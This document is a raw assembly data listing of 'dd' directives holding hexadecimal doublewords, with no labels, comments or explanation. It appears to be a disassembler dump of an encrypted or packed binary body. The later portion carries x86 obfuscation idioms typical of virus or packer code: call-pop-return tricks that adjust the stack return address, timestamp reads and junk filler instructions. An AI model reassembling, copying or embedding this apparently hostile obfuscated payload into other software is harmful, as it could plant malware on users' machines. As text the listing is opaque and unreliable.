		dd 0F525DB6Bh, 7D21FFA3h, 362EA72Fh, 5F21FF29h,	8FDC6A2Eh
		dd 62DEF90Dh, 0ED03D966h, 1D72FF45h, 0FA21FF2Ch, 26E2A40Fh
		dd 0BA05A3A6h, 5B05BBAEh, 0AF21FF36h, 35E2AC6Ch, 8F6C0347h
		dd 93154EB0h, 776C7890h, 585C41AAh, 0EE219529h,	5F21FCC7h
		dd 6C79DF2Fh, 0F3657677h, 0CF657E2Bh, 0F521E52Bh, 3971BF2Fh
		dd 134DA4AAh, 415C905Bh, 0A69EF0FFh, 0B2EC7AA6h, 5E70F90Dh
		dd 0C93EEE92h, 70E7A029h, 0FC03CC26h, 4AC7668h,	727DD34h
		dd 0EFAA3B6h, 0AF21FBC7h, 9FC562Fh, 0EB2D1798h,	61CDFF2Fh
		dd 0E21877C6h, 8CEF59B3h, 0B1737AB2h, 5F21FFA0h, 0FF7BA02Fh
		dd 0D721F5C7h, 0B0D01B2Fh, 0FF811517h, 9C2F0AA1h, 249F5990h
		dd 0BA05BBA4h, 55C8A87Eh, 4121FF2Fh, 234955AEh,	9215FEFh
		dd 7E7EA1A4h, 73CE752Fh, 2525DB6Bh, 0F9F64549h,	79684AD0h
		dd 0AF4BF90Dh, 0D7221778h, 0B401FF2Fh, 89A8A0ECh, 0BEA0FB0Bh
		dd 7D35FB0Bh, 0E966FF2Fh, 0D2AA00ECh, 0A903D8DAh, 0AA9F7AA2h
		dd 0EB4BF90Ah, 0F522177Ah, 0A701FF2Fh, 11A8A2ECh, 0FAA0FB0Bh
		dd 5F34FB0Bh, 0FA64FF2Fh, 6E2342ECh, 0B128F5DEh, 93F14020h
		dd 2ADE06A4h, 0CEE07E49h, 0EFA4769Dh, 3527DD21h, 0ACC9A92Fh
		dd 0F721FF2Fh, 627F3C71h, 7425DB5Bh, 0EF25DB6Bh, 3B21FF2Fh
		dd 10733C79h, 6C287AE9h, 0C566F90Dh, 0D4C9A92Fh, 0CB21FF2Fh
		dd 7C7F3C71h, 7B25DB5Bh, 6025DB6Bh, 0F821FF2Fh,	10783C79h
		dd 0C7538A8h, 80CE48F6h, 0EB21FBC7h, 2931852Fh,	0A871AFAEh
		dd 7D277D20h, 0EC71FF2Fh, 77BCE20h, 839FCE20h, 8D4B5826h
		dd 0CF657477h, 7C21742Bh, 0F525DB6Bh, 7D21F4A4h, 0BBAAF02Fh
		dd 0E621FF2Fh, 0D09487FAh, 84219577h, 0EB21FCC7h, 367ADF2Fh
		dd 0DE7D7674h, 59657E2Bh, 0BE21E32Bh, 9C72BC2Fh, 3925441Dh
		dd 4D900323h, 6294FED1h, 0A27DD2Fh, 0D807B69Ah,	68AC7629h
		dd 3327DD0Fh, 7A5C41AAh, 0F9219529h, 0D721FCC7h, 287FDF2Fh
		dd 0D1557671h, 0DE657E2Bh, 7D21E32Bh, 7D77B92Fh, 0F3F342FEh
		dd 7A8B53D1h, 0DFAEF039h, 0E421FF2Fh, 0F521FDA2h, 57F4A2Fh
		dd 2A2195FFh, 0BE21FCC7h, 9C7EDF2Fh, 8B5D7670h,	0F3657E2Bh
		dd 0EB21E22Bh, 3676B82Fh, 0EBA89DE8h, 0AEECE550h, 76AA0119h
		dd 58407AA6h, 79A0F90Dh, 9A34E4D3h, 0D8287AE9h,	9F66F90Dh
		dd 0F9C9AE2Fh, 5D21FF2Fh, 37783C76h, 0DE25DB63h, 0B325DB6Bh
		dd 9621FF2Fh, 9CC73C7Eh, 0E8A0B425h, 73887F2Bh,	5F2762AAh
		dd 0BE251729h, 637CFF2Fh, 0AAC855E2h, 7421FF2Fh, 6F6A20EAh
		dd 0F52C167Fh, 7AB6FF2Fh, 0F88366Dh, 0B970396Ah, 0D4AB9FD4h
		dd 1625DB6Bh, 0CECCC45Dh, 5547FFA4h, 0B1A8573Eh, 9C79FB0Bh
		dd 0B3C82DAEh, 8FB4764Fh, 0B727DD3Ah, 0AF21FF24h, 2748C116h
		dd 2B764BFh, 1D7418C5h,	0FA21FF22h, 8E4CAE63h, 7AECBA6Ch
		dd 8A1E3EAAh, 0CE7AA5E6h, 0F1684AD0h, 0E2C9F90Dh, 2621FF2Fh
		dd 62DB89A0h, 9C35F1F6h, 33174649h, 0E2B47471h,	2227DD3Bh
		dd 0F25C41AAh, 6EB47429h
		dd 0A27DD29h, 319EF0FFh, 4C307AA6h, 0BE4BF90Dh,	5F22177Ch
		dd 0F401FF2Fh, 8BA8A4ECh, 0AFA0FB0Bh, 0F538FB0Bh, 0A962FF2Fh
		dd 0DF38FEECh, 37D0B22Ch, 7D04C2BAh, 0AF301729h, 0BDF8FF2Fh
		dd 0C2BFF3D7h, 0C335BAD7h, 0DCCB7116h, 0F4DF5421h, 9C22CA9Ah
		dd 0DAA8A129h, 0A903F026h, 52A82FD0h, 0ED03F54Ah, 0D4FB3EAEh
		dd 4F28E0A2h, 7B03FD9Ah, 0D8F97349h, 53A19AEh, 6F2BFB0Bh
		dd 0D5CC7B20h, 0EB4BFF2Fh, 0F5221779h, 0A401FF2Fh, 9A8A1ECh
		dd 0FAA0FB0Bh, 5F36FB0Bh, 0F967FF2Fh, 0DC1C35ECh, 0E2A4396Ah
		dd 0BA27DD1Ch, 0AED37E49h, 7D331645h, 92FDFF2Fh, 971B5B3Eh
		dd 0F90A63E4h, 881F48FDh, 0E07A65D3h, 0A8883947h, 0F7A0F0DDh
		dd 1D21FF2Fh, 8F2EAD7Fh, 0F59FA775h, 0CE34D510h, 0D505CBAEh
		dd 0E46C22EAh, 0F521F9A0h, 0F7ACF62Fh, 8227DD39h, 9C07B69Ah
		dd 0C219529h, 0AF21FCC7h, 147ADF2Fh, 0CF7D7674h, 0D1657E2Bh
		dd 0FA21EB2Bh, 0BE72BC2Fh, 0BE2A1662h, 0FA51FF2Fh, 0CC0C6F9Dh
		dd 0F6BF6B44h, 2DD77EB3h, 780666E4h, 0DF5C41AAh, 2C219529h
		dd 0BE21FCC7h, 9C78DF2Fh, 8B6D7676h, 0F3657E2Bh, 0EB21E22Bh
		dd 3670BE2Fh, 4397A8B2h, 0A283E210h, 3F2EBD21h,	5F21FF29h
		dd 0A89C72A4h, 7DEF90Dh, 371FF45h, 0F521FF2Ch, 0A2E2A70Fh
		dd 7905BBA6h, 0BA05BBAEh, 5F21FF3Bh, 0F5E2AF6Fh, 0D3886AA4h
		dd 6041F90Dh, 0F0ABF0EEh, 9C21FF2Fh, 4B4C1CAEh,	9AE17C4Eh
		dd 0F71A4649h, 0B1B07AA6h, 0D74BF90Dh, 0EB22177Ah, 0A801FF2Fh
		dd 96A8A2ECh, 39A0FB0Bh, 0BE37FB0Bh, 0A64FF2Fh,	684CC2ECh
		dd 0A37F4049h, 0E1447AA4h, 0F54BF90Dh, 0FA22177Ah, 2001FF2Fh
		dd 0D2A8A2ECh, 1BA0FB0Bh, 0AF3AFB0Bh, 8264FF2Fh, 768A7CECh
		dd 172B5E8h, 6B9476A2h,	0FC27DD20h, 9FBF8BFDh, 4EBC743Fh
		dd 1027DD1Eh, 0E2CDB442h, 5EACD66Ch, 7E27DD1Ch,	0EBA3F034h
		dd 9521FF2Fh, 0BE21FF25h, 61A4649Ah, 0F0465432h, 89D98140h
		dd 0E1C8E4A4h, 0D221FF2Fh, 4E69F94Fh, 25CD84E6h, 0D43A741Fh
		dd 5CC9AC2Fh, 8F21FF2Fh, 5E7A3C74h, 6A25DB73h, 0E825DB6Bh
		dd 0B921FF2Fh, 8AB33C7Ch, 8D205448h, 0BA622CA7h, 771229A4h
		dd 0DF8462A6h, 0EB4BF90Dh, 0F522177Eh, 0A301FF2Fh, 31A8A6ECh
		dd 0FAA0FB0Bh, 5F39FB0Bh, 0FE60FF2Fh, 85DACECh,	6A470657h
		dd 33880BC9h, 0D812F6AAh, 9472B829h, 0BE21FF21h, 0E9E517CEh
		dd 1E348E97h, 0E1F575FEh, 837EAFD6h, 0CC07EC32h, 0ABD6754Fh
		dd 1C7E9E4Fh, 3205FBAEh, 0B65F47E5h, 0AF21FF29h, 5F3AC7FDh
		dd 5EDE2D04h, 0F303D966h, 0F49C42A4h, 0F8ACF90Dh, 0B8048291h
		dd 0B774FF45h, 0AF21FF2Ch, 8AE2A20Fh, 0EF0593A6h, 0F105BBAEh
		dd 0FA21FF3Bh, 0E7E2AA6Ah, 0BE21F9C6h, 0ACE8632Fh, 50207350h
		dd 0FE9476FFh, 6227DD39h, 0D72FAEAAh, 0D79CCE29h, 3D27DD2Ch
		dd 358F29AFh, 0D4F0752Fh, 0ABA2F02Fh, 0B121FF2Fh, 62B13891h
		dd 0D7233EAAh, 3AC7629h, 9427DD35h, 0BE21FEA7h,	0B776FF45h
		dd 0AF21FF2Ch, 88E2A00Fh, 0EF0583A6h, 0F105BBAEh, 0FA21FF35h
		dd 36E2A868h, 0C72779Ch, 0C2A82771h, 0A903CD66h, 0D721F1C6h
		dd 99AEF02Fh, 5F4DE814h, 0EC0BA33Ah, 0F09ACDFBh, 9BEAFAAAh
		dd 0E5B10629h, 8065B967h, 6947AF7Fh, 7B7FD9FAh,	1D71FF45h
		dd 0FA21FF2Ch, 25E2A70Fh, 0BA05BBA6h, 5B05BBAEh, 0AF21FF3Bh
		dd 54E2AF6Fh, 0D56F08AEh, 0FD98D705h, 5580F52h,	5F399EBAh
		dd 0E8219529h, 5F21FCC7h, 6C7FDF2Fh, 0F3557671h, 0CF657E2Bh
		dd 0F521E32Bh, 3977B92Fh, 183FB125h, 0F88DA518h, 0C2AC0AD4h
		dd 0A9043424h, 0D9806AA4h, 66A8F90Dh, 0F303FEB2h, 29AA99BCh
		dd 9473AF7Fh, 0BE21FF25h, 0F1BD9F32h, 3D7951ACh, 0E62E44FDh
		dd 0BED8444Fh, 7A2EA246h, 0FA21FF2Fh, 0EE79A54Eh, 5672FF45h
		dd 5F21FF2Ch, 0F4E2A40Fh, 0D305A3A6h, 0EF05BBAEh, 0F521FF39h
		dd 16E2AC6Ch, 8CAA138Eh, 873AF7Fh, 0C10F07Dh, 2679A571h
		dd 0D74BDB2Bh, 0EB22177Ch, 0AE01FF2Fh, 0A6A8A4ECh, 39A0FB0Bh
		dd 0BE3DFB0Bh, 0C62FF2Fh, 8C9F8DECh, 8A8B7B7Ah,	66AAE477h
		dd 0F303DECAh, 0F92C6AD0h, 7D4BF90Dh, 0BE22177Fh, 701FF2Fh
		dd 0EBA8A7ECh, 93A0FB0Bh, 0EB38FB0Bh, 0A561FF2Fh, 10C567ECh
		dd 1B8680BBh, 37D904A4h, 7D3F6EAAh, 0FE219529h,	0D721FCC7h
		dd 2878DF2Fh, 0D16D7676h, 0DE657E2Bh, 7D21EA2Bh, 7D70BE2Fh
		dd 0BEA0FB44h, 0B31E1F9Fh, 0E4287AE9h, 8172F90Dh, 0F6C9A82Fh
		dd 0DA21FF2Fh, 0F47E3C70h, 3F25DB53h, 4825DB6Bh, 0E821FF2Fh
		dd 148D3C78h, 5E087512h, 0F303FA7Ah, 59B7AE47h,	129E99C4h
		dd 9A157E0Ah, 1E05ED01h, 4777FF45h, 0D721FF2Ch,	0B5E2A10Fh
		dd 0F1058BA6h, 0FE05BBAEh, 7D21FF35h, 53E2A969h, 182088ACh
		dd 8C41CA1Fh, 0F5250E9Ah, 0DAAC7429h, 9427DD1Dh, 0DC684AD0h
		dd 7D4BF90Dh, 0BE22177Ch, 401FF2Fh, 0F3A8A4ECh,	93A0FB0Bh
		dd 0EB3BFB0Bh, 0A662FF2Fh, 0ED3D6ECh, 7265FE0Dh, 0BF40622Eh
		dd 0DAACF90Dh, 0A9048291h, 3F70FF45h, 0EB21FF2Ch, 0ACE2A60Fh
		dd 0FE05B3A6h, 7905BBAEh, 0BE21FF39h, 91E2AE6Eh, 50DDDD60h
		dd 5A099FFh, 6EA8A3C4h,	0F303FDAAh, 1271FF45h, 7D21FF2Ch
		dd 0E6E2A70Fh, 5B05BBA6h, 0AB05BBAEh, 0D721FF35h, 6E2AF6Fh
		dd 777C3B4Ah, 7D2E2D84h, 7D21FF2Fh, 8D287AE9h, 0AA66F90Dh
		dd 0F7EDF47h, 859BADDEh, 0B55FC1A3h, 4505CBAEh,	7A712D65h
		dd 0C8DE23E1h, 0B803D966h, 0B776FF45h, 0AF21FF2Ch, 88E2A00Fh
		dd 0EF0583A6h, 0F105BBAEh, 0FA21FF3Ah, 0AFE2A868h, 0B6C89F09h
		dd 2321FF2Fh, 7691E6A0h, 5C2E2359h, 0C90DF6BAh,	70AC9E29h
		dd 0FC048291h, 9574FF45h, 0BE21FF2Ch, 2E2A20Fh,	0AB0593A6h
		dd 0D305BBAEh, 0EB21FF39h, 0E8E2AA6Ah, 0F2C8F726h, 0D021FF2Fh
		dd 0B19CA379h, 3944A6ACh, 0E9172EAEh, 0D74B2FD0h, 0EB22177Dh
		dd 0AF01FF2Fh, 0AEA8A5ECh, 39A0FB0Bh, 0BE3BFB0Bh, 0D63FF2Fh
		dd 0E10FBECh, 6FCF9550h, 6EA80CA5h, 0F303DA6Eh,	0FA2B7620h
		dd 1D41FF2Fh, 0EF94764Eh, 3E27DD1Ch, 9C287AE9h,	0BD72F90Dh
		dd 0E8C9AD2Fh, 0D521FF2Fh, 737B3C75h, 0FC25DB7Bh, 0AA25DB6Bh
		dd 1D21FF2Fh, 46C03C7Dh, 0D721FF3Eh, 0F66AB953h, 0B406B379h
		dd 0DAF82D97h, 0EABECF3Eh, 0B8F1979Eh, 6BA03BDAh, 6378BF0Bh
		dd 7CF37E72h, 147DAC76h, 0D707B69Ah, 0FA261629h, 6B6FFF2Fh
		dd 568BFEBFh, 0E1A472E8h, 0C527DA52h, 0D4C9AC2Fh, 0CB21FF2Fh
		dd 7C7A3C74h, 7B25DB73h, 6825DB6Bh, 0FD21FF2Fh,	0BCFB3C7Ch
		dd 4AA12FD0h, 0A2A47609h, 6227DD1Eh, 0D7019AAAh, 59EF029h
		dd 4E287AE9h, 0D476F90Dh, 5CC9AA2Fh, 8F21FF2Fh,	5E7C3C72h
		dd 6A25DB43h, 0E825DB6Bh, 0BF21FF2Fh, 0CC043C7Ah, 38BF4CEEh
		dd 95912BB3h, 102E35A4h, 813497E7h, 5247B0DCh, 0F1A089BAh
		dd 0EADA0E0Bh, 3094766Fh, 4127DD32h, 7D07B69Ah,	0FE219529h
		dd 0D721FCC7h, 2878DF2Fh, 0D16D7676h, 0DE657E2Bh, 7D21E72Bh
		dd 7D70BE2Fh, 231D6469h, 86A476B9h, 5A27DD3Eh, 0CE5C41AAh
		dd 0C4ACFC29h, 527DD32h, 2D2195FFh, 0BE21FCC7h,	9C79DF2Fh
		dd 8B657677h, 0F3657E2Bh, 0EB21E82Bh, 3671BF2Fh, 12CC5257h
		dd 66C0721Eh, 3BA8F90Dh, 5903E31Ah, 4774FF45h, 0D721FF2Ch
		dd 0B6E2A20Fh, 0F10593A6h, 0FE05BBAEh, 7D21FF34h, 5EE2AA6Ah
		dd 2A20C02h, 69696C98h,	0F512F6AAh, 652EBC29h, 0F521FF2Fh
		dd 5CAD8647h, 0FCD9749Ch, 5D8EDB2Bh, 5F4BF7C6h,	0AF221779h
		dd 8901FF2Fh, 9FA8A1ECh
		dd 0B1A0FB0Bh, 0FA3BFB0Bh, 2B67FF2Fh, 8FFB5ECh,	0AE2E840Dh
		dd 0AF2C164Fh, 8FB7FF2Fh, 0FB2BE505h, 5CD66B8Dh, 0AD58C26Fh
		dd 1C79729Ch, 98684AD0h, 199EF90Dh, 242D9C0Dh, 0F521EE92h
		dd 55A47229h, 1C27DA52h, 0FA21FF21h, 0B9B4144Bh, 0E247FC22h
		dd 733C802h, 7FDED449h,	3F73FF45h, 0EB21FF2Ch, 0AFE2A50Fh
		dd 0FE05ABA6h, 7905BBAEh, 0BE21FF35h, 78E2AD6Dh, 5905897Eh
		dd 5A2E9068h, 0EB21FF23h, 0F5277420h, 4FAAFF2Fh, 7B03DA4Ah
		dd 0A1347AA6h, 5F4BF90Dh, 0AF22177Ah, 8A01FF2Fh, 87A8A2ECh
		dd 0B1A0FB0Bh, 0FA3DFB0Bh, 2864FF2Fh, 20B49AECh, 2D3940DFh
		dd 1647E771h, 52AC866Dh, 0ED0435D4h, 505B4649h,	127129A4h
		dd 7D21FF29h, 5AD96DA1h, 0D67B2D65h, 0AF4BDB2Bh, 0D722177Ah
		dd 0B601FF2Fh, 99A8A2ECh, 0BEA0FB0Bh, 7D3DFB0Bh, 0EB64FF2Fh
		dd 0DB8E42ECh, 5196EDEBh, 0E9E5CAAh, 143028DAh,	0D7399EBAh
		dd 0AFA47629h, 0F627DD0Ah, 67AC76F7h, 0D227DD31h, 8AEB10AAh
		dd 689B9929h, 0F9C86F66h, 5221FF2Fh, 0F2235B6h,	48354D4Eh
		dd 2919A13Dh, 0D3F5A7BFh, 0BDC9AFEBh, 8C21FF2Fh, 93C6A87Bh
		dd 85B0C19Eh, 0DFCA6B09h, 0DA267246h, 0BE35166Ch, 4CC2FF2Fh
		dd 28943629h, 0E68CCB22h, 35610BC7h, 73B8C403h,	6A7BCEBAh
		dd 9576FF45h, 0BE21FF2Ch, 0E2A00Fh, 0AB0583A6h,	0D305BBAEh
		dd 0EB21FF36h, 0DAE2A868h, 214854E0h, 309474CEh, 0EE27DD2Fh
		dd 0E647AD7Fh, 9E2EF746h, 50934149h, 0F7A8A775h, 0A021950Bh
		dd 0FA21FCC7h, 0BE7CDF2Fh, 9A4D7672h, 7B657E2Bh, 0AF21E82Bh
		dd 1474BA2Fh, 0E228A3CDh, 0C5A47AA6h, 0EAC9F90Dh, 0FE21FF2Fh
		dd 901A34CAh, 3CBA541Eh, 70AC4E16h, 0D6E3C72Ch,	0C904B69Ah
		dd 60DEA629h, 0FC03FC22h, 9574FF45h, 0BE21FF2Ch, 2E2A20Fh
		dd 0AB0593A6h, 0D305BBAEh, 0EB21FF34h, 36E2AA6Ah, 662E38Bh
		dd 0F4B0E6B1h, 9C0136AAh, 0D219529h, 0AF21FCC7h, 147BDF2Fh
		dd 0CF757675h, 0D1657E2Bh, 0FA21E42Bh, 0BE73BD2Fh, 8E346940h
		dd 0DB22F4FCh, 44F87E49h, 4EA438C9h, 0E427DD20h, 9F21FF2Fh
		dd 0F9C9A92Fh, 5D21FF2Fh, 377F3C71h, 0DE25DB5Bh, 0B925DB6Bh
		dd 9121FF2Fh, 0AC1D3C79h, 17F47FAAh, 0DAE86AD0h, 7D4BF90Dh
		dd 0BE221779h, 101FF2Fh, 0DBA8A1ECh, 93A0FB0Bh,	0EB3BFB0Bh
		dd 0A367FF2Fh, 6D7F4ECh, 43C2636Ch, 979C62A6h, 0D6DDF90Dh
		dd 8D2B5EAAh, 16B47429h, 0E827DD08h, 0D73F36A2h, 0FFA47429h
		dd 0F027DD2Ch, 9BFFF8B2h, 5E627629h, 0AC6442A2h, 62ACF90Dh
		dd 0ED0422CEh, 0F521CC96h, 11850C2Fh, 7D21471Ch, 7E2AFF2Fh
		dd 47E3FC5Bh, 8B65742Fh, 0D7C9AC23h, 0B021FF2Fh, 0F5363CAEh
		dd 0A6A8FF2Fh, 39A8EF0Bh, 67AEB0Bh, 5FBD5F18h, 0EBAA1FD0h
		dd 37DEFB0Bh, 0EEAFF0D6h, 9321FF2Fh, 0B23020AEh, 2A21954Eh
		dd 0BE21FCC7h, 9C7EDF2Fh, 8B5D7670h, 0F3657E2Bh, 0EB21E22Bh
		dd 3676B82Fh, 15BCBC24h, 0EF7336D2h, 2BAAD8BBh,	5903DE42h
		dd 65CE42A2h, 5AACF90Ah, 0ED042147h, 0D38ACA97h, 7BA4CCB7h
		dd 5627DD21h, 4FC83EE0h, 2F9FE174h, 2FF9C9A8h, 705D21FFh
		dd 53377E3Ch, 6BDE25DBh, 2FB225DBh, 0F305E983h,	60D98BA4h
		dd 1ED9BD89h, 0BE660622h, 0E961D15Ah, 51h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C35242h, 9B391D94h
		dd 0D0E70C9h, 15870F61h, 0E9000000h, 10h, 9B1A6583h, 0E741DC90h
		dd 0E3D2EAB2h, 50C8E9D4h, 0AE9C3F9h, 0B000000h,	0C885156Dh
		dd 0CD25471Ch, 6AC08B24h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 61EFC357h, 60F5B364h
		dd 666DEE80h, 0E6A8F081h, 0DDBD8361h, 62208h, 0BD830975h
		dd 6220A21h, 50197400h,	0B8C08B53h, 4B9h, 0E598589h, 9D8D0622h
		dd 624C030h, 585BD3FFh,	0A21BD83h, 74000622h, 0B8535017h
		dd 4B9h, 0E598589h, 9D8D0622h, 624BCD1h, 585BD3FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E8C35343h, 6E9h
		dd 86183300h, 6A5F6FE6h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0F49C355h, 485h, 0CF8B6000h
		dd 6AC08B61h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 406EC352h, 9D89C18Bh, 62205A1h
		dd 4EBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 1C0424h, 55450000h, 163113C3h, 5437DFE1h, 9589F793h
		dd 622013Dh, 2CB5858Dh,	6A0622h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0FDF6EAC3h, 0EE8h, 2FE84200h
		dd 0C8A27C08h, 0C2D139C3h, 6651147Eh, 315EF28Bh, 22057DBDh
		dd 0FB8B5006h, 0F240489h, 6AFBB7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0EAC35545h,	49EE3D7Fh, 81CFF61Ch
		dd 1B7E61DFh, 8B006A34h, 221409BDh, 76858D06h, 8B0625E1h
		dd 220A91BDh, 5C08306h,	9E9h, 0F5838B00h, 1234FCE1h, 0BE662207h
		dd 5090F980h, 7846BF52h, 310F4063h, 0FB8B5250h,	11E9310Fh
		dd 0DC000000h, 0C0625C8Dh, 5194344Eh, 31AA7065h, 0B36461EFh
		dd 585A585Ah, 13E86050h, 5000000h, 50911EE2h, 5E9A11AAh
		dd 0B6E4D4B0h, 4E27B318h, 2DBE5371h, 595A78E2h,	2 dup(310F5250h)
		dd 585A585Ah, 6A9061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0D55FEDC3h, 0BE66006Ah, 6A9E17h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 45C35242h
		dd 5595FF1Fh, 0F062235h, 68Bh, 59B58B00h, 8D062216h, 25A90F9Dh
		dd 49950906h, 89062225h, 2233E58Dh, 50D3FF06h, 0AA5B533h
		dd 0FF5F0622h, 2208B185h, 0EE816606h, 0FCE9D20Ch, 0E8000006h
		dd 0
		dd 80ED815Dh, 810625E1h, 220F99BDh, 7D006h, 20860F00h
		dd 56000001h, 359D8B5Eh, 6A062206h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0FCC1C355h
		dd 44842F14h, 8BE60CE0h, 22221DB5h, 0E38106h, 89000001h
		dd 221C1D8Dh, 0FDB0B06h, 0A585h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0FBCF7F2Ch
		dd 33E65F68h, 223319B5h, 0D6BD8306h, 625DFh, 4A840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 4F0AE3C3h, 0BD8B2CAEh, 6220EFDh, 1F119D89h, 50E90622h
		dd 0F000000h, 138Bh, 0EE900h, 20CD0000h, 57E78C45h, 60295660h
		dd 0A84B9328h, 0DFD685C7h, 10625h, 73BF0000h, 0B0B9BEBh
		dd 220E9DBDh, 1DE906h, 8E0F0000h, 6, 16298D29h,	85C70622h
		dd 625DFD6h, 0
		dd 0E1B58BF8h, 8D062231h, 2206359Dh, 71D78106h,	8111A242h
		dd 0C86FE9EFh, 0FF238119h, 60FFFFFEh, 185BB66h,	31158531h
		dd 66610622h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0F5514C3h, 0BF0F29ABh, 0F98B66F3h
		dd 0F04C3F6h, 7784h, 13E800h, 57BE0000h, 0B9631B21h, 94F7B62h
		dd 1710C54Ah, 0AF51FEEBh, 12E8A8h, 4CEB0000h, 8BCA62Ah
		dd 5A1F5463h, 0D8560184h, 197F269Dh, 85DBD31h, 5E5F0622h
		dd 20C995FFh, 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0D3C473C3h, 66503B5Fh, 89383ABFh
		dd 6E82404h, 27000000h,	0FB3EBBBCh, 8DBD8B29h, 5E062225h
		dd 40FE9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 899C3546h, 2207B9BDh, 6A00B006h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 4A30C352h, 66AB1356h, 0D504EF81h,	6A70E6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0A28C0AC3h, 53A13DB8h, 0B58B71E4h, 62232A5h,	0BFD8B60Fh
		dd 68C5D41Ch, 6BAh, 0E8C38B00h,	7, 0F7BA5731h, 8B9BB1FFh
		dd 220629B5h, 0E8C15E06h, 0AE904h, 0ACF00000h, 1AF25F14h
		dd 0DCB239C2h, 17F58531h, 0F7660622h, 56006AE2h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0BF665017h, 0D82BA004h, 495B523h, 8B500622h,	241C89FBh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 36C35040h
		dd 1F339E96h, 0FC28DD63h, 0F99B5FFh, 6A0622h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 296676C3h
		dd 8144CB10h, 5B9C3DEh,	7595FF4Dh, 0E9062230h, 8, 83BA4B15h
		dd 37C2E05Ah, 8B6600B0h, 6A70E6F0h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1E3FC353h
		dd 81B19E24h, 304AC2F7h, 0FE8B662Ch, 6A71E4h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 99BC4DC3h
		dd 0B58B2381h, 622298Dh, 830F613Ch, 268h, 311BD89h, 0B60F0622h
		dd 52006AD8h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 420FF65Ch, 81624F0Eh, 0FA8B2FD6h, 6BAh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0FB617C9Dh, 1A89DDCAh, 6AC38BB7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 1FFFC352h, 6F20175Fh, 64AE3769h, 9E9h, 8A410900h, 6CE185A4h
		dd 0E8C187CCh, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0DDE61475h, 800F9B4Dh
		dd 0Eh,	9E9h, 0B596CF00h, 20AC9CBEh, 0F766322Ah, 52006AE2h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0F78B6697h, 0BF0FD82Bh, 0B52B58F9h, 6223115h, 1D2D9589h
		dd 0D82B0622h, 166880Fh, 0BD8B0000h, 6222D29h, 7B9h, 0BF25BF00h
		dd 0C1831F19h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 6E785ED2h, 860FD93Bh
		dd 12Ch, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	9C35343h, 11C9DABDh, 0BB0FE53Fh, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 896FC356h, 2210BDB5h, 4C1F606h, 0B1840Fh, 0BD0B0000h
		dd 6222099h, 20C995FFh,	6A5B0622h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 71C4C352h
		dd 42C22D49h, 7516AD03h, 1AA99589h, 0C32B0622h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0ADC35040h, 293CC4BEh
		dd 221B618Dh, 8E906h, 28C20000h, 441502E5h, 343D0E53h
		dd 0F000008h, 3A86h, 6830F00h, 89000000h, 22258DB5h, 52E906h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 531115C3h, 13EADD45h, 9D8529FFh, 8B062214h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0AFBF1DEAh, 0F73941B6h, 0F88BFEB4h, 0D88BC38Bh
		dd 86F06CBFh, 0A185C725h, 1D062214h, 95F338Fh, 22181595h
		dd 6AC08B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 42ADC357h, 0F99BD81h, 7D00622h
		dd 850F0000h, 2Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 90C35747h, 5501F5A3h,	9985FFF5h, 6606220Fh
		dd 0B5FFF38Bh, 6220F99h, 3DB58B57h, 5E062210h, 307595FFh
		dd 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 569F69C3h, 90BAD45Eh, 345678B8h, 53006A12h
